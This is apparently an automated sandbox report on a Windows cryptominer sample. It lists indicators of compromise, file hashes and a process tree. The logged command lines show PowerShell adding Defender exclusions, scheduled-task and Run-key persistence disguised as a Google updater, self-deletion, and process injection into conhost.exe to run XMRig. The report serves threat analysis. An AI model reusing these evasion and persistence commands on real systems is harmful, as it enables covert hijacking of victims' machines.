Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
471s -
max time network
1795s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
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Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2240 created 1340 2240 Yvdp8t5knpQz7sFB.exe 6 PID 2240 created 1340 2240 Yvdp8t5knpQz7sFB.exe 6 PID 2240 created 1340 2240 Yvdp8t5knpQz7sFB.exe 6 PID 2240 created 1340 2240 Yvdp8t5knpQz7sFB.exe 6 PID 2152 created 1340 2152 updater.exe 6 PID 2152 created 1340 2152 updater.exe 6 PID 2152 created 1340 2152 updater.exe 6 PID 2152 created 1340 2152 updater.exe 6 PID 1676 created 1340 1676 conhost.exe 6 PID 2152 created 1340 2152 updater.exe 6 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral31/memory/1976-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2488 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2152 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2424 taskeng.exe -
resource yara_rule behavioral31/memory/1976-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2152 set thread context of 1676 2152 updater.exe 52 PID 2152 set thread context of 1976 2152 updater.exe 53 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Yvdp8t5knpQz7sFB.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3024 schtasks.exe 2888 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1128 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10d3bff6a151da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2240 Yvdp8t5knpQz7sFB.exe 2240 Yvdp8t5knpQz7sFB.exe 2780 powershell.exe 2240 Yvdp8t5knpQz7sFB.exe 2240 Yvdp8t5knpQz7sFB.exe 2592 powershell.exe 2240 Yvdp8t5knpQz7sFB.exe 2240 Yvdp8t5knpQz7sFB.exe 2240 Yvdp8t5knpQz7sFB.exe 2240 Yvdp8t5knpQz7sFB.exe 2712 powershell.exe 2152 updater.exe 2152 updater.exe 1348 powershell.exe 2152 updater.exe 2152 updater.exe 1640 powershell.exe 2152 updater.exe 2152 updater.exe 2152 updater.exe 2152 updater.exe 1676 conhost.exe 1676 conhost.exe 2152 updater.exe 2152 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2780 powershell.exe Token: SeDebugPrivilege 2592 powershell.exe Token: SeDebugPrivilege 2712 powershell.exe Token: SeDebugPrivilege 1348 powershell.exe Token: SeDebugPrivilege 1640 powershell.exe Token: SeDebugPrivilege 2152 updater.exe Token: SeAssignPrimaryTokenPrivilege 1128 WMIC.exe Token: SeIncreaseQuotaPrivilege 1128 WMIC.exe Token: SeSecurityPrivilege 1128 WMIC.exe Token: SeTakeOwnershipPrivilege 1128 WMIC.exe Token: SeLoadDriverPrivilege 1128 WMIC.exe Token: SeSystemtimePrivilege 1128 WMIC.exe Token: SeBackupPrivilege 1128 WMIC.exe Token: SeRestorePrivilege 1128 WMIC.exe Token: SeShutdownPrivilege 1128 WMIC.exe Token: SeSystemEnvironmentPrivilege 1128 WMIC.exe Token: SeUndockPrivilege 1128 WMIC.exe Token: SeManageVolumePrivilege 1128 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1128 WMIC.exe Token: SeIncreaseQuotaPrivilege 1128 WMIC.exe Token: SeSecurityPrivilege 1128 WMIC.exe Token: SeTakeOwnershipPrivilege 1128 WMIC.exe Token: SeLoadDriverPrivilege 1128 WMIC.exe Token: SeSystemtimePrivilege 1128 WMIC.exe Token: SeBackupPrivilege 1128 WMIC.exe Token: SeRestorePrivilege 1128 WMIC.exe Token: SeShutdownPrivilege 1128 WMIC.exe Token: SeSystemEnvironmentPrivilege 1128 WMIC.exe Token: SeUndockPrivilege 1128 WMIC.exe Token: SeManageVolumePrivilege 1128 WMIC.exe Token: SeLockMemoryPrivilege 1976 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2592 wrote to memory of 3024 2592 powershell.exe 32 PID 2592 wrote to memory of 3024 2592 powershell.exe 32 PID 2592 wrote to memory of 3024 2592 powershell.exe 32 PID 2488 wrote to memory of 2636 2488 cmd.exe 35 PID 2488 wrote to memory of 2636 2488 cmd.exe 35 PID 2488 wrote to memory of 2636 2488 cmd.exe 35 PID 2712 wrote to memory of 2528 2712 powershell.exe 37 PID 2712 wrote to memory of 2528 2712 powershell.exe 37 PID 2712 wrote to memory of 2528 2712 powershell.exe 37 PID 2424 wrote to memory of 2152 2424 taskeng.exe 40 PID 2424 wrote to memory of 2152 2424 taskeng.exe 40 PID 2424 wrote to memory of 2152 2424 taskeng.exe 40 PID 1640 wrote to memory of 2888 1640 powershell.exe 45 PID 1640 wrote to memory of 2888 1640 powershell.exe 45 PID 1640 wrote to memory of 2888 1640 powershell.exe 45 PID 2152 wrote to memory of 1676 2152 updater.exe 52 PID 1860 wrote to memory of 1128 1860 cmd.exe 47 PID 1860 wrote to memory of 1128 1860 cmd.exe 47 PID 1860 wrote to memory of 1128 1860 cmd.exe 47 PID 2152 wrote to memory of 1976 2152 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1340
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:3024
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2488
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1348
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2888
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1852
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1860
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1676
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2636
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C:\Windows\system32\taskeng.exetaskeng.exe {7620B96C-0EA4-4623-911E-E76479B76CB7} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2152
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:2528
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1128
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
92KB
MD5139045b7767ed7be1a6c5922c9d94bed
SHA1220cb27440a4e5f9458397f1b80546ec261f4fc0
SHA2565b797beae659fb3e91de7c013db87c0777d096b5bb59f724df100fb0d52f509d
SHA512490b386a592c600412cae1a020ccd17d8c8ce65f85bd7423f34659f17afc74c040d828809ff6ac0bbf09477c581ba89b98eb5e10580c16df810557b18df99a20
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Filesize
1.5MB
MD5168b8e88c7e4b7b61d1383e92fcdfcb3
SHA14e0bba9bc28909a10073618a7aeddc64bece2672
SHA256fd63fde141b53a77a4b8b0fdb10537c5beb1f4181b6ab11e39a68535bb2e79bf
SHA51229fbc2bf0e043f7d9a143ff04442e73f90e546efc85f54ea39451210a143659292952668784ebff00cce4660eaadbc322e64dde70bd5052fa01db1762ac7a8ef
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5330729aa19f932bca0780b4f44158453
SHA1b87b361fa750679c994c9b6d1c11e9f573497f74
SHA25665920e4a9b3f7cb73a5c4622899b1401db2039cf4cc9e2bb2541183bc31a69e4
SHA51211a4a4537444ca670ae5d64b5757b7e357f39c91a09d5b77b9585f5766e8fc44ed6663a612c49d1cf3be8beb5723e57c801caa6201846294c6e0edc50da894a9
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Filesize
270KB
MD5921bfe8d1c828cb6e4e62270fcdf2f3b
SHA153ee519d98af23b4f0aeb1f7ef2b660ac1461d34
SHA256eb4fbe979c359002bf7d11aa919aa4a37cdf3dd5e69b8aa023991a637ea604f0
SHA51259b19a3b6d7990dec17354961b67afdc5194f73706326fb6d6dd049467fe504a6f9d60eb80c93fbef282cb9407a10fe66a4f8f2420ffa525d49d1811e3507414